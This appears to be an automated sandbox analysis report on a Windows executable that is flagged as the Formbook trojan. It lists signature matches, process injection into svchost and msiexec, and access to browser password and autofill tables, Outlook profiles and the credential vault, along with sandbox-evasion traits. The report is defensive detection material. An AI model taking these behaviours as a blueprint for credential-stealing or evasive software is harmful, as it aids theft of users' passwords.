Source: 00000001.00000002.4812307431.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.8170544463.0000000004FE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.9380185277.00000000015B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.9381714381.00000000050A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.4813936087.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.8170470399.0000000004F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.4815096590.0000000005800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@18/12

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_0044AF5C GetLastError,FormatMessageW,

0_2_0044AF5C

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_00464422 OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,		0_2_00464422
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,		0_2_004364AA

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_0045D517 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,

0_2_0045D517

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_0043701F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_0043701F

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_0047A999 OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,CoCreateInstanceEx,CoSetProxyBlanket,

0_2_0047A999

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_0043614F FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

0_2_0043614F

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

File created: C:\Users\user\AppData\Local\Temp\gobioid

Source: p4rsJEIb7k.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: msiexec.exe, 00000003.00000003.4995883349.0000000008230000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.8172567571.0000000008239000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE benefit_merchant_domains (benefit_id VARCHAR NOT NULL, merchant_domain VARCHAR NOT NULL)U;
Source: msiexec.exe, 00000003.00000003.4994416168.0000000003372000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.4989398688.0000000003372000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.4989236920.0000000003352000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.4992897675.0000000003372000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.8169483298.0000000003372000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: msiexec.exe, 00000003.00000003.4999748750.0000000008293000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.8172567571.000000000829F000.00000004.00000020.00020000.00000000.sdmp, -f1ZI14.3.dr	Binary or memory string: CREATE TABLE "autofill_profile_edge_extended" ( guid VARCHAR PRIMARY KEY, date_of_birth_day VARCHAR, date_of_birth_month VARCHAR, date_of_birth_year VARCHAR, source INTEGER NOT NULL DEFAULT 0, source_id VARCHAR)[;

Source: p4rsJEIb7k.exe

ReversingLabs: Detection: 68%

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

File read: C:\Users\user\Desktop\p4rsJEIb7k.exe

Source: unknown	Process created: C:\Users\user\Desktop\p4rsJEIb7k.exe "C:\Users\user\Desktop\p4rsJEIb7k.exe"
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\p4rsJEIb7k.exe"
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\p4rsJEIb7k.exe"	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Windows\SysWOW64\msiexec.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Contains functionality to detect sleep reduction / modifications

Source: p4rsJEIb7k.exe

Static file information: File size 1335565 > 1048576

Source:	Binary string: msiexec.pdb source: svchost.exe, 00000001.00000003.4781384098.0000000002E3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.4781220236.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, BlltrVxNMs.exe, 00000002.00000003.4880463662.0000000001335000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: msiexec.pdbGCTL source: svchost.exe, 00000001.00000003.4781384098.0000000002E3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.4781220236.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, BlltrVxNMs.exe, 00000002.00000003.4880463662.0000000001335000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: BlltrVxNMs.exe, 00000002.00000000.4736161942.0000000000ABE000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: p4rsJEIb7k.exe, 00000000.00000003.4325817635.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, p4rsJEIb7k.exe, 00000000.00000003.4326551260.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.4724121009.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.4814046744.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.4814046744.000000000352D000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.4721063151.0000000003000000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.4812614041.0000000004E19000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.8170719186.0000000005170000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.8170719186.000000000529D000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.4816265673.0000000004FC1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: p4rsJEIb7k.exe, 00000000.00000003.4325817635.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, p4rsJEIb7k.exe, 00000000.00000003.4326551260.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.4724121009.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.4814046744.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.4814046744.000000000352D000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.4721063151.0000000003000000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, msiexec.exe, 00000003.00000003.4812614041.0000000004E19000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.8170719186.0000000005170000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.8170719186.000000000529D000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.4816265673.0000000004FC1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: BlltrVxNMs.exe, 00000002.00000002.9389382295.000000000578C000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.000000000584C000.00000004.10000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8169483298.00000000032F3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.00000000298EC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: BlltrVxNMs.exe, 00000002.00000002.9389382295.000000000578C000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.000000000584C000.00000004.10000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8169483298.00000000032F3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.00000000298EC000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,

0_2_0040EB70

Source: p4rsJEIb7k.exe

Static PE information: real checksum: 0xa2135 should be: 0x15058a

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_004171D1 push ecx; ret	0_2_004171E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041197A push ecx; retf	1_2_0041197D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00407227 push cs; ret	1_2_0040723E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040AB29 pushad ; retf	1_2_0040AB2A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004183C4 push ss; retf	1_2_004183CE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00403380 push eax; ret	1_2_00403382
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040D45D push B7E85DDEh; ret	1_2_0040D462
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00414412 push edx; iretd	1_2_0041441B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00417F74 pushfd ; ret	1_2_00417F75
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040CF38 push ecx; retf	1_2_0040CF3E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034021AD pushad ; retf 0004h	1_2_0340223F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034308CD push ecx; mov dword ptr [esp], ecx	1_2_034308D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034097A1 push es; iretd	1_2_034097A8
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_015D315A push esp; ret	2_2_015D315B
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_015BE937 push es; iretd	2_2_015BE957
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_015BE83C push es; iretd	2_2_015BE957
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_015BE8A2 push es; iretd	2_2_015BE957
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_015C626B push ecx; retf	2_2_015C626E
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_015BF41A pushad ; retf	2_2_015BF41B
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_015C9FBE push ecx; retf	2_2_015C9FBF
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_015C9E70 push ecx; retf	2_2_015C9E71
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_05374529 pushad ; retf	2_2_0537452A
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_05381DC7 push ss; retf	2_2_05381DCE
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_0537EF7F push ecx; retf	2_2_0537EF80
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_05376E5D push B7E85DDEh; ret	2_2_05376E62
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_05376938 push ecx; retf	2_2_0537693E
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_05381974 pushfd ; ret	2_2_05381975
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_0537F0CD push ecx; retf	2_2_0537F0CE
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_0537B37A push ecx; retf	2_2_0537B37D
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_05370BF3 push cs; ret	2_2_05370C3E
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051721AD pushad ; retf 0004h	3_2_0517223F

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_004772DE IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_004772DE
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_004375B0

Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_00444078

0_2_00444078

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	API/Special instruction interceptor: Address: 454A70C
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FF9EBA0D144
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FF9EBA0D764
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FF9EBA0D324
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FF9EBA0D364
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FF9EBA0D004
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FF9EBA0FF74
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FF9EBA0D864

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_0347088E rdtsc

1_2_0347088E

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	API coverage: 3.1 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\msiexec.exe	API coverage: 1.3 %

Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe TID: 3180	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 7888	Thread sleep count: 121 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 7888	Thread sleep time: -242000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 7888	Thread sleep count: 9673 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 7888	Thread sleep time: -19346000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\msiexec.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452126
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,	0_2_0045C999
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00436ADE
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00434BEE
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_0045DD7C FindFirstFileW,FindClose,	0_2_0045DD7C
